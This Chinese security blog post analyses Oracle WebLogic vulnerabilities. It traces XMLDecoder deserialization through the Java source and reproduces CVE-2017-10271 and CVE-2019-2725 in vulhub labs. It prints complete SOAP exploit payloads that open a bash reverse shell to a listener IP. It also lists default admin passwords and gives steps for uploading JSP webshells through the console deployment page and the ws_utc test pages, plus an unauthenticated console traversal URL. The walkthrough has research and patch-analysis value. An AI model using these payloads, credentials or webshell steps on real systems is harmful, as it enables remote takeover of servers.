官方介绍:Oracle WebLogic Server 是一个统一的可扩展平台,专用于开发、部署和运行 Java 应用等适用于本地环境和云环境的企业应用。它提供了一种强健、成熟和可扩展的 Java Enterprise Edition (EE) 和 Jakarta EE 实施方式。类似于Tomcat、Jboss等。
在上篇文章Java安全之Weblogic漏洞分析与利用(上)中分析了部分Weblogic的漏洞的原理及利用方式,本文继续探索更多的漏洞原理。
XMLDecoder:
官方文档解释
The XMLDecoder class is used to read XML documents created using the XMLEncoder and is used just like the ObjectInputStream.
package: java.beans
example:
XMLDecoder d = new XMLDecoder( new BufferedInputStream( new FileInputStream("Test.xml"))); Object result = d.readObject(); d.close();
Constructor and Method:
XMLDecoder(InputSource is) //Creates a new decoder to parse XML archives created by the XMLEncoder class. XMLDecoder(InputStream in) //Creates a new input stream for reading archives created by the XMLEncoder class. //... Object readObject() //Reads the next object from the underlying input stream. //...
XMLEncoder:
官方文档解释
The XMLEncoder class is a complementary alternative to the ObjectOutputStream and can used to generate a textual representation of a JavaBean in the same way that the ObjectOutputStream can be used to create binary representation of Serializable objects.
example:
XMLEncoder e = new XMLEncoder( new BufferedOutputStream( new FileOutputStream("Test.xml"))); e.writeObject(new JButton("Hello, world")); e.close();
Constructor and Method:
XMLEncoder(OutputStream out) //Creates a new XML encoder to write out JavaBeans to the stream out using an XML encoding. //... void writeObject(Object o) //Write an XML representation of the specified object to the output.
测试类:
package XmlDecoder; import java.beans.XMLDecoder; import java.io.BufferedInputStream; import java.io.FileInputStream; import java.io.FileNotFoundException; public class XmlDecoderTest { public static void main(String[] args) throws FileNotFoundException { XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(new FileInputStream("C:\\code\\javacode\\java-sec\\src\\main\\java\\XmlDecoder\\poc.xml"))); Object o = xmlDecoder.readObject(); xmlDecoder.close(); } }
测试poc.xml
<java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>cmd</string> </void> <void index="1"> <string>/C</string> </void> <void index="2"> <string>calc</string> </void> </array> <void method="start"/></void> </java>
命令执行成功
流程分析:
关键函数:
public boolean scanDocument(boolean complete) throws IOException, XNIException { // keep dispatching "events" fEntityManager.setEntityHandler(this); //System.out.println(" get Document Handler in NSDocumentHandler " + fDocumentHandler ); int event = next(); do { switch (event) { // 7 case XMLStreamConstants.START_DOCUMENT : //fDocumentHandler.startDocument(fEntityManager.getEntityScanner(),fEntityManager.getEntityScanner().getVersion(),fNamespaceContext,null);// not able to get break; // 1 case XMLStreamConstants.START_ELEMENT : //System.out.println(" in scann element"); //fDocumentHandler.startElement(getElementQName(),fAttributes,null); break; // 4 case XMLStreamConstants.CHARACTERS : fDocumentHandler.characters(getCharacterData(),null); break; case XMLStreamConstants.SPACE: //check if getCharacterData() is the right function to retrieve ignorableWhitespace information. //System.out.println("in the space"); //fDocumentHandler.ignorableWhitespace(getCharacterData(), null); break; case XMLStreamConstants.ENTITY_REFERENCE : //entity reference callback are given in startEntity break; case XMLStreamConstants.PROCESSING_INSTRUCTION : fDocumentHandler.processingInstruction(getPITarget(),getPIData(),null); break; case XMLStreamConstants.COMMENT : //System.out.println(" in COMMENT of the XMLNSDocumentScannerImpl"); fDocumentHandler.comment(getCharacterData(),null); break; case XMLStreamConstants.DTD : //all DTD related callbacks are handled in DTDScanner. //1. Stax doesn't define DTD states as it does for XML Document. //therefore we don't need to take care of anything here. So Just break; break; case XMLStreamConstants.CDATA: fDocumentHandler.startCDATA(null); //xxx: check if CDATA values comes from getCharacterData() function fDocumentHandler.characters(getCharacterData(),null); fDocumentHandler.endCDATA(null); //System.out.println(" in CDATA of the XMLNSDocumentScannerImpl"); break; case XMLStreamConstants.NOTATION_DECLARATION : break; case XMLStreamConstants.ENTITY_DECLARATION : break; case XMLStreamConstants.NAMESPACE : break; case XMLStreamConstants.ATTRIBUTE : break; // 2 case XMLStreamConstants.END_ELEMENT : //do not give callback here. //this callback is given in scanEndElement function. //fDocumentHandler.endElement(getElementQName(),null); break; default : throw new InternalError("processing event: " + event); } //System.out.println("here in before calling next"); event = next(); //System.out.println("here in after calling next"); } while (event!=XMLStreamConstants.END_DOCUMENT && complete); if(event == XMLStreamConstants.END_DOCUMENT) { fDocumentHandler.endDocument(null); return false; } return true; } // scanDocument(boolean):boolean
这个函数是扫描xml文档的一个方法,逐个标签读取,同时会读取到换行符
对于以上poc,解析流程为:714 14 14 14 14(cmd) 24 24 14 14(/C) 24 24 14 14(calc) 24 24 24 124 28
这里的关键逻辑都在next中
比如在解析<void class="java.lang.ProcessBuilder">
时,函数调用栈如下:
addAttribute:84, NewElementHandler (com.sun.beans.decoder) addAttribute:102, ObjectElementHandler (com.sun.beans.decoder) startElement:294, DocumentHandler (com.sun.beans.decoder) startElement:509, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers) scanStartElement:1364, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl) next:2787, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl) next:606, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl) scanDocument:510, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl) parse:848, XML11Configuration (com.sun.org.apache.xerces.internal.parsers) parse:777, XML11Configuration (com.sun.org.apache.xerces.internal.parsers) parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers) parse:1213, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers) parse:643, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp) parse:327, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp) run:375, DocumentHandler$1 (com.sun.beans.decoder) run:372, DocumentHandler$1 (com.sun.beans.decoder) doPrivileged:-1, AccessController (java.security) doIntersectionPrivilege:76, ProtectionDomain$JavaSecurityAccessImpl (java.security) parse:372, DocumentHandler (com.sun.beans.decoder) run:201, XMLDecoder$1 (java.beans) run:199, XMLDecoder$1 (java.beans) doPrivileged:-1, AccessController (java.security) parsingComplete:199, XMLDecoder (java.beans) readObject:250, XMLDecoder (java.beans) main:11, XmlDecoderTest (XmlDecoder)
从next开始,首先进入XMLDocumentScannerImpl类的next方法
public int next() throws IOException, XNIException { return fDriver.next(); }
这里的fDriver是XMLDocumentScannerImpl对象,接下来到XMLDocumentFragmentScannerImpl的next方法
这个方法比较长。主要是根据fScannerState参数来选择对应的case
这里进入这个case
case SCANNER_STATE_START_ELEMENT_TAG :{ //xxx this function returns true when element is empty.. can be linked to end element event. //returns true if the element is empty // 扫描 fEmptyElement = scanStartElement() ; //if the element is empty the next event is "end element" if(fEmptyElement){ setScannerState(SCANNER_STATE_END_ELEMENT_TAG); }else{ //set the next possible state setScannerState(SCANNER_STATE_CONTENT); } return XMLEvent.START_ELEMENT ; }
XMLDocumentFragmentScannerImpl类的scanStartElement方法主要作用是解析标签及其属性
来到AbstractSAXParser类的startElement方法
fContentHandler.startElement(uri, localpart, element.rawname, fAttributesProxy);
进入这句,fContentHandler为DocumentHandler,进入DocumentHandler的startElement方法
public void startElement(String var1, String var2, String var3, Attributes var4) throws SAXException { ElementHandler var5 = this.handler; try { // 创建一个新的ElementHandler实例,并通过反射设置其所有者和父级处理器 this.handler = (ElementHandler)this.getElementHandler(var3).newInstance(); this.handler.setOwner(this); this.handler.setParent(var5); } catch (Exception var10) { throw new SAXException(var10); } // 遍历属性列表,并将属性添加到当前处理器中 for(int var6 = 0; var6 < var4.getLength(); ++var6) { try { String var7 = var4.getQName(var6); String var8 = var4.getValue(var6); // 这里 this.handler.addAttribute(var7, var8); } catch (RuntimeException var9) { this.handleException(var9); } } this.handler.startElement(); }
这里的this.handler指的是VoidElementHandler对象
可以进入getElementHandler函数,此时的var1是void
public Class<? extends ElementHandler> getElementHandler(String var1) { Class var2 = (Class)this.handlers.get(var1); if (var2 == null) { throw new IllegalArgumentException("Unsupported element: " + var1); } else { return var2; } }
所以最后得到的this.handler是VoidElementHandler对象对象
继续往下跟,来到ObjectElementHandler的addAttribute方法
public final void addAttribute(String var1, String var2) { if (var1.equals("idref")) { this.idref = var2; } else if (var1.equals("field")) { this.field = var2; } else if (var1.equals("index")) { this.index = Integer.valueOf(var2); this.addArgument(this.index); } else if (var1.equals("property")) { this.property = var2; } else if (var1.equals("method")) { this.method = var2; } else { // 进入到这里 super.addAttribute(var1, var2); } }
这里传入的var1是"class",var2是"java.lang.ProcessBuilder"
进入父类的addAttribute方法
public void addAttribute(String var1, String var2) { if (var1.equals("class")) { // 通过反射生成var2对应的对象 this.type = this.getOwner().findClass(var2); } else { super.addAttribute(var1, var2); } }
也可以进去看看,this.getOwner()得到的是DocumentHandler对象,调用其findClass方法,该方法中又调用ClassFinder.resolveClass方法,其方法中调用了ClassFinder.findClass方法
public static Class<?> findClass(String var0, ClassLoader var1) throws ClassNotFoundException { ReflectUtil.checkPackageAccess(var0); if (var1 != null) { try { // var0是类名,通过反射获取类 return Class.forName(var0, false, var1); } catch (ClassNotFoundException var3) { } catch (SecurityException var4) { } } // 调用重载方法,作用也是一样 return findClass(var0); }
其他元素的解析流程大致类似
再来看看字符串是如何解析的,如下面这句
先解析<string>
标签,创建StringElementHandler对象
然后再解析calc字符串
进入到对应的case中
case XMLStreamConstants.CHARACTERS : fDocumentHandler.characters(getCharacterData(),null); break;
进入fDocumentHandler.characters方法,这里传入的是calc字符串。此时的fDocumentHandler的handler参数是之前在解析<string>
标签时创建StringElementHandler对象
继续进入characters方法
这里的var1正是poc字符,var2标识calc字符串的偏移,var3表示字符串的长度
this.handler是StringElementHandler对象,进入其addCharacter方法
经过4次循环,将calc字符串添加到StringElementHandler对象的sb属性中
至此,字符串的解析完成
再来看看最后一句的解析,这也触发了命令执行
<void method="start"/></void>
逐步调试,前面部分的流程和其他标签处理方法一致,进入ObjectElementHandler的getValueObject方法
protected final ValueObject getValueObject(Class<?> var1, Object[] var2) throws Exception { if (this.field != null) { // 如果存在字段(field),则通过FieldElementHandler获取上下文Bean(contextBean)中字段的值,并创建一个ValueObjectImpl实例返回 return ValueObjectImpl.create(FieldElementHandler.getFieldValue(this.getContextBean(), this.field)); } else if (this.idref != null) { // 如果存在idref,则通过getVariable方法获取变量的值,并创建一个ValueObjectImpl实例返回 return ValueObjectImpl.create(this.getVariable(this.idref)); } else { Object var3 = this.getContextBean(); String var4; if (this.index != null) { // 如果存在索引(index),根据var2的长度确定是设置方法还是获取方法 var4 = var2.length == 2 ? "set" : "get"; } else if (this.property != null) { // 如果存在属性(property),根据var2的长度确定是设置方法还是获取方法,并根据属性名构造对应的方法名 var4 = var2.length == 1 ? "set" : "get"; if (0 < this.property.length()) { var4 = var4 + this.property.substring(0, 1).toUpperCase(Locale.ENGLISH) + this.property.substring(1); } } else { // 如果存在方法(method),则使用指定的方法名,否则使用默认的"new"方法名 var4 = this.method != null && 0 < this.method.length() ? this.method : "new"; } // 创建一个Expression实例,用于调用指定的方法,并获取返回值 Expression var5 = new Expression(var3, var4, var2); // 创建一个ValueObjectImpl实例,将Expression的返回值包装为ValueObjectImpl,并返回 return ValueObjectImpl.create(var5.getValue()); } }
先进入NewElementHandler类的getContextBean方法
protected final Object getContextBean() { return this.type != null ? this.type : super.getContextBean(); }
这里的type为空,所以需要进入父类的getContextBean方法
其实根据poc的结构也知道,这里的父类就是type为ProcessBuilder对应的VoidElementHandler对象
此时继续进入父类的getValueObject方法
进入重载方法,同样先调用getContextBean(),由于此时type不为空,所以返回type
接着对于方法而言,由于方法为空,所以设置为new
这里相当于创建一个ProcessBuilder对象
继续回到解析<void method="start"/></void>
的getValueObject方法,此时的var3经过getContextBean处理后的是ProcessBuilder对象
最后一行,调用了ProcessBuilder对象的start方法,命令执行成功
函数调用栈:
getValue:157, Expression (java.beans) getValueObject:166, ObjectElementHandler (com.sun.beans.decoder) getValueObject:123, NewElementHandler (com.sun.beans.decoder) endElement:169, ElementHandler (com.sun.beans.decoder) endElement:318, DocumentHandler (com.sun.beans.decoder) endElement:609, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers) emptyElement:183, AbstractXMLDocumentParser (com.sun.org.apache.xerces.internal.parsers) scanStartElement:1344, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl) next:2787, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl) next:606, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl) scanDocument:510, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl) parse:848, XML11Configuration (com.sun.org.apache.xerces.internal.parsers) parse:777, XML11Configuration (com.sun.org.apache.xerces.internal.parsers) parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers) parse:1213, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers) parse:643, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp) parse:327, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp) run:375, DocumentHandler$1 (com.sun.beans.decoder) run:372, DocumentHandler$1 (com.sun.beans.decoder) doPrivileged:-1, AccessController (java.security) doIntersectionPrivilege:76, ProtectionDomain$JavaSecurityAccessImpl (java.security) parse:372, DocumentHandler (com.sun.beans.decoder) run:201, XMLDecoder$1 (java.beans) run:199, XMLDecoder$1 (java.beans) doPrivileged:-1, AccessController (java.security) parsingComplete:199, XMLDecoder (java.beans) readObject:250, XMLDecoder (java.beans) main:11, XmlDecoderTest (XmlDecoder)
Expression这个类,该类主要作用是动态调用指定对象的methodName方法.
参考:
https://zhuanlan.zhihu.com/p/108754274
影响范围:
WebLogic 10.3.6.0
WebLogic 12.1.3.0
WebLogic 12.2.1.0
WebLogic 12.2.1.1
WebLogic 12.2.1.2
CVE-2017-10271也是一致
默认受到影响的uri:
/wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11
分析:
原理大致和下面CVE-2017-10271一致
补丁分析:
private void validate(InputStream is) { WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory(); try { SAXParser parser = factory.newSAXParser(); parser.parse(is, new DefaultHandler() { public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { if(qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid context type: object"); } } }); } catch (ParserConfigurationException var5) { throw new IllegalStateException("Parser Exception", var5); } catch (SAXException var6) { throw new IllegalStateException("Parser Exception", var6); } catch (IOException var7) { throw new IllegalStateException("Parser Exception", var7); } }
这里就是将object标签进行过滤,绕过方式就是将object修改成void,也就是CVE-2017-10271
环境搭建:
使用vulhub中的环境,修改docekr-compose.yml文件,加上8453端口的映射,使其能够调试
复现:
exp:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/172.22.0.1/7777 0>&1</string> </void> </array> <void method="start"/> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
bp抓包
反弹shell成功
远程调试:
进入容器,配置weblogic开启远程调试
改/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh
文件,加入以下内容
debugFlag="true"
export debugFlag
重启容器即可调试
将需要调试目录导出,放入IDEA,即可启动调试
sudo docker cp 9e239f7fb3ff:/root ./cve201710271Env cd cve201710271Env/Oracle/Middleware mkdir lib find ./ -name "*.jar" -exec cp {} ./lib/ \; find ./ -name "*.war" -exec cp {} ./lib/ \;
漏洞分析:
函数调用栈:
readUTF:111, WorkContextXmlInputAdapter (weblogic.wsee.workarea) readEntry:92, WorkContextEntryImpl (weblogic.workarea.spi) receiveRequest:179, WorkContextLocalMap (weblogic.workarea) receiveRequest:163, WorkContextMapImpl (weblogic.workarea) receive:71, WorkContextServerTube (weblogic.wsee.jaxws.workcontext) readHeaderOld:107, WorkContextTube (weblogic.wsee.jaxws.workcontext) processRequest:43, WorkContextServerTube (weblogic.wsee.jaxws.workcontext) __doRun:866, Fiber (com.sun.xml.ws.api.pipe) _doRun:815, Fiber (com.sun.xml.ws.api.pipe) doRun:778, Fiber (com.sun.xml.ws.api.pipe) runSync:680, Fiber (com.sun.xml.ws.api.pipe) process:403, WSEndpointImpl$2 (com.sun.xml.ws.server) handle:539, HttpAdapter$HttpToolkit (com.sun.xml.ws.transport.http) handle:253, HttpAdapter (com.sun.xml.ws.transport.http) handle:140, ServletAdapter (com.sun.xml.ws.transport.http.servlet) handle:171, WLSServletAdapter (weblogic.wsee.jaxws) run:708, HttpServletAdapter$AuthorizedInvoke (weblogic.wsee.jaxws) doAs:363, AuthenticatedSubject (weblogic.security.acl.internal) runAs:146, SecurityManager (weblogic.security.service) authenticatedInvoke:103, ServerSecurityHelper (weblogic.wsee.util) run:311, HttpServletAdapter$3 (weblogic.wsee.jaxws) post:336, HttpServletAdapter (weblogic.wsee.jaxws) doRequest:99, JAXWSServlet (weblogic.wsee.jaxws) service:99, AbstractAsyncServlet (weblogic.servlet.http) service:820, HttpServlet (javax.servlet.http) run:227, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal) invokeServlet:125, StubSecurityHelper (weblogic.servlet.internal) execute:301, ServletStubImpl (weblogic.servlet.internal) execute:184, ServletStubImpl (weblogic.servlet.internal) wrapRun:3732, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal) run:3696, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal) doAs:321, AuthenticatedSubject (weblogic.security.acl.internal) runAs:120, SecurityManager (weblogic.security.service) securedExecute:2273, WebAppServletContext (weblogic.servlet.internal) execute:2179, WebAppServletContext (weblogic.servlet.internal) run:1490, ServletRequestImpl (weblogic.servlet.internal) execute:256, ExecuteThread (weblogic.work) run:221, ExecuteThread (weblogic.work)
查看weblogic/wsee/jaxws/workcontext/WorkContextServerTube的processRequest方法
public NextAction processRequest(Packet var1) { this.isUseOldFormat = false; if (var1.getMessage() != null) { // 获取头部信息 HeaderList var2 = var1.getMessage().getHeaders(); // 从消息的头部列表中获取指定的头部信息 Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true); if (var3 != null) { // 如果存在指定的头部信息,则使用旧的格式进行读取处理,并将isUseOldFormat标记为true // 这里 this.readHeaderOld(var3); this.isUseOldFormat = true; } // 从消息的头部列表中获取JAX-WS工作区的头部信息 Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true); if (var4 != null) { // 如果存在JAX-WS工作区的头部信息,则进行读取处理 this.readHeader(var4); } } // 调用父类的processRequest方法进行进一步处理,并返回NextAction对象 return super.processRequest(var1); }
进入weblogic/wsee/jaxws/workcontext/WorkContextTube的readHeaderOld方法
protected void readHeaderOld(Header var1) { try { // 读取Header中的XML数据流 XMLStreamReader var2 = var1.readHeader(); var2.nextTag(); var2.nextTag(); // 创建XMLStreamReaderToXMLStreamWriter实例,用于将XMLStreamReader的数据桥接到XMLStreamWriter XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter(); ByteArrayOutputStream var4 = new ByteArrayOutputStream(); XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4); var3.bridge(var2, var5); var5.close(); // 创建WorkContextXmlInputAdapter实例,并将XML数据流转换为适配器可接受的输入流 WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray())); // 调用receive方法处理适配器中的输入流 this.receive(var6); } catch (XMLStreamException var7) { // 抛出WebServiceException异常,表示在处理XML数据流时出现错误 throw new WebServiceException(var7); } catch (IOException var8) { // 抛出WebServiceException异常,表示在读取或处理输入流时出现错误 throw new WebServiceException(var8); } }
该方法将XML数据流转换为字节数组,并通过适配器将其转换为可处理的输入流。然后,调用receive方法处理适配器中的输入流
其中进入WorkContextXmlInputAdapter的构造函数,它实例化了一个XMLDecoder对象,并将输入的xml输入流作为参数,这与前面的测试例子一样,现在目标是需要调用readObject进行反序列化
public WorkContextXmlInputAdapter(InputStream var1) { this.xmlDecoder = new XMLDecoder(var1); }
进入weblogic/wsee/jaxws/workcontext/WorkContextServerTube的receive方法
protected void receive(WorkContextInput var1) throws IOException { // 获取WorkContextMapInterceptor实例 WorkContextMapInterceptor var2 = WorkContextHelper.getWorkContextHelper().getInterceptor(); // 调用WorkContextMapInterceptor的receiveRequest方法,将WorkContextInput对象传递给拦截器进行处理 var2.receiveRequest(var1); }
这里的var1是前面创建的WorkContextXmlInputAdapter对象,后面的receiveRequest、receiveRequest、readEntry等方法中都是WorkContextXmlInputAdapter对象,直到进入weblogic/wsee/workarea/WorkContextXmlInputAdapter的readUTF方法
public String readUTF() throws IOException { return (String)this.xmlDecoder.readObject(); }
它调用了readObject方法对目标xml进行反序列化,从而触发命令执行。后面XMLDecoder的调用链和2.2中的测试是一致的
补丁分析:
private void validate(InputStream is) { WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory(); try { SAXParser parser = factory.newSAXParser(); parser.parse(is, new DefaultHandler() { private int overallarraylength = 0; public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { if(qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid element qName:object"); } else if(qName.equalsIgnoreCase("new")) { throw new IllegalStateException("Invalid element qName:new"); } else if(qName.equalsIgnoreCase("method")) { throw new IllegalStateException("Invalid element qName:method"); } else { if(qName.equalsIgnoreCase("void")) { for(int attClass = 0; attClass < attributes.getLength(); ++attClass) { if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) { throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass)); } } } if(qName.equalsIgnoreCase("array")) { String var9 = attributes.getValue("class"); if(var9 != null && !var9.equalsIgnoreCase("byte")) { throw new IllegalStateException("The value of class attribute is not valid for array element."); } } } } }); } }
使用黑名单对上述标签进行了过滤
影响范围:
WebLogic 10.X
WebLogic 12.1.3
影响uri:
/_async/AsyncResponseService /_async/AsyncResponseServiceJms /_async/AsyncResponseServiceHttps /_async/AsyncResponseServiceSoap12 /_async/AsyncResponseServiceSoap12Jms /_async/AsyncResponseServiceSoap12Https
复现:
exp:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action> <wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/172.22.0.1/7777 0>&1</string> </void> </array> <void method="start"/> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body> </soapenv:Envelope>
漏洞分析:
函数调用栈:
readUTF:111, WorkContextXmlInputAdapter (weblogic.wsee.workarea) readEntry:92, WorkContextEntryImpl (weblogic.workarea.spi) receiveRequest:179, WorkContextLocalMap (weblogic.workarea) receiveRequest:163, WorkContextMapImpl (weblogic.workarea) handleRequest:27, WorkAreaServerHandler (weblogic.wsee.workarea) handleRequest:141, HandlerIterator (weblogic.wsee.handler) dispatch:114, ServerDispatcher (weblogic.wsee.ws.dispatch.server) invoke:80, WsSkel (weblogic.wsee.ws) handlePost:66, SoapProcessor (weblogic.wsee.server.servlet) process:44, SoapProcessor (weblogic.wsee.server.servlet) run:285, BaseWSServlet$AuthorizedInvoke (weblogic.wsee.server.servlet) service:169, BaseWSServlet (weblogic.wsee.server.servlet) service:820, HttpServlet (javax.servlet.http) run:227, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal) invokeServlet:125, StubSecurityHelper (weblogic.servlet.internal) execute:301, ServletStubImpl (weblogic.servlet.internal) execute:184, ServletStubImpl (weblogic.servlet.internal) wrapRun:3732, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal) run:3696, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal) doAs:321, AuthenticatedSubject (weblogic.security.acl.internal) runAs:120, SecurityManager (weblogic.security.service) securedExecute:2273, WebAppServletContext (weblogic.servlet.internal) execute:2179, WebAppServletContext (weblogic.servlet.internal) run:1490, ServletRequestImpl (weblogic.servlet.internal) execute:256, ExecuteThread (weblogic.work) run:221, ExecuteThread (weblogic.work)
在weblogic/wsee/server/servlet/SoapProcessor中的process方法对soap消息进行了处理,post提交,调用其本类的handlePost方法进行处理
private void handlePost(BaseWSServlet var1, HttpServletRequest var2, HttpServletResponse var3) throws IOException { assert var1.getPort() != null; // 获取WsPort对象 WsPort var4 = var1.getPort(); // 获取绑定类型 String var5 = var4.getWsdlPort().getBinding().getBindingType(); // 创建HttpServerTransport实例,用于处理HTTP请求和响应 HttpServerTransport var6 = new HttpServerTransport(var2, var3); // 获取WsSkel对象 WsSkel var7 = (WsSkel)var4.getEndpoint(); try { // 使用Connection工厂创建服务器连接 Connection var8 = ConnectionFactory.instance().createServerConnection(var6, var5); var7.invoke(var8, var4); } catch (ConnectionException var9) { // 调用WsSkel的invoke方法,处理连接和WsPort对象 this.sendError(var3, var9, "Failed to create connection"); } catch (Throwable var10) { this.sendError(var3, var10, "Unknown error"); } }
中间的其他过程不管,来到weblogic/wsee/workarea/WorkAreaServerHandler中的handleRequest方法
public boolean handleRequest(MessageContext var1) { try { WlMessageContext var2 = WlMessageContext.narrow(var1); // 获取消息头部 MsgHeaders var3 = var2.getHeaders(); // 从消息头部获取WorkAreaHeader WorkAreaHeader var4 = (WorkAreaHeader)var3.getHeader(WorkAreaHeader.TYPE); if (var4 != null) { // 获取WorkContextMapInterceptor实例 WorkContextMapInterceptor var5 = WorkContextHelper.getWorkContextHelper().getInterceptor(); // 使用WorkContextXmlInputAdapter适配器接收请求 var5.receiveRequest(new WorkContextXmlInputAdapter(var4.getInputStream())); if (verbose) { Verbose.log("Received WorkAreaHeader " + var4); } } return true; } catch (IOException var6) { throw new JAXRPCException("Unable to procees WorkContext:" + var6); } }
前面也提到,WorkContextXmlInputAdapter的构造函数中new了一个XMLDecoder对象,传入的是soap header的wordcontext元素
接下来的步骤和CVE-2017-10271一致,其实它们的漏洞原理都是一致的
补丁分析:
使用网上一张图
这里直接ban掉了class元素以及限制了array元素的长度
参考:
https://co0ontty.github.io/2019/08/08/CVE_2019_2725.html
https://xz.aliyun.com/t/5024
https://xz.aliyun.com/t/8465
https://xz.aliyun.com/t/1848
https://xz.aliyun.com/t/5046
前置知识:
后台常用默认弱口令:
system/password
weblogic/weblogic
admin/security
joe/password
mary/password
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
weblogic/Oracle@123
weblogic常用弱口令: http://cirt.net/passwords?criteria=weblogic
后台登录地址:/console/login/LoginForm.jsp
另外weblogic的密码使用AES加密(老版本使用3DES),对称密码在获取密文和密钥的情况下可解密,存放的文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml
环境:
使用vulhub中的docker环境进行复现:
╭─dili@dili ~/vulhub/weblogic/weak_password ‹master› ╰─$ sudo docker-compose up -d ╭─dili@dili ~/vulhub/weblogic/weak_password ‹master› ╰─$ sudo docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 76e193e908ce vulhub/weblogic:10.3.6.0-2017 "startWebLogic.sh" 44 seconds ago Up 23 seconds 0.0.0.0:5556->5556/tcp, :::5556->5556/tcp, 0.0.0.0:7001->7001/tcp, :::7001->7001/tcp weak_password_weblogic_1
docker环境在服务器中,将7001映射到外部端口33401
访问http://10.140.32.159:33401/console/login/LoginForm.jsp
使用常用的弱口令尝试登录,用户名:weblogic 口令:Oracle@123
成功登入后台,接下来就是找到上传文件的点,获取shell
点击部署->安装
准备一个jsp马,并将对应的目录打成war包上传
部署成功,使用冰蝎进行连接
参考:http://www.meta-sec.top/2022/02/09/weblogic-chang-jian-lou-dong-yi-kong-zhi-tai-ruo-kou-ling/
漏洞复现:
使用vulhub上的docker搭建环境
sudo docker-compose up -d
查看此容器的账户和密码
sudo docker-compose logs | grep password
使用账户(weblogic)和密码(deUHw2wQ)登录后台
选择高级选项
启用Web服务测试页
开发环境下的测试页有config.do和begin.do
进入config.do文件,将目录设置为ws_utc应用的静态文件css目录
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
上传一个jsp文件
后端存储的文件名是时间戳+上传的文件名,时间戳会回显在代码中
访问http://10.140.32.159:33401/ws_utc/css/config/keystore/1692882428438_shell.jsp
使用冰蝎连接
同样可以使用begin.do进行利用
访问http://10.140.32.159:33401/ws_utc/begin.do
,上传jsp
尽管上传后会报错,但是抓post包的响应中有jsp文件名
访问http://10.140.32.159:33401/ws_utc/css/upload/RS_Upload_2023-08-24_13-16-31_154/import_file_name_shell.jsp
,使用冰蝎连接
漏洞复现:
使用vulhub上的docker搭建环境
这里未授权访问的地址是
http://10.140.32.159:33401/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
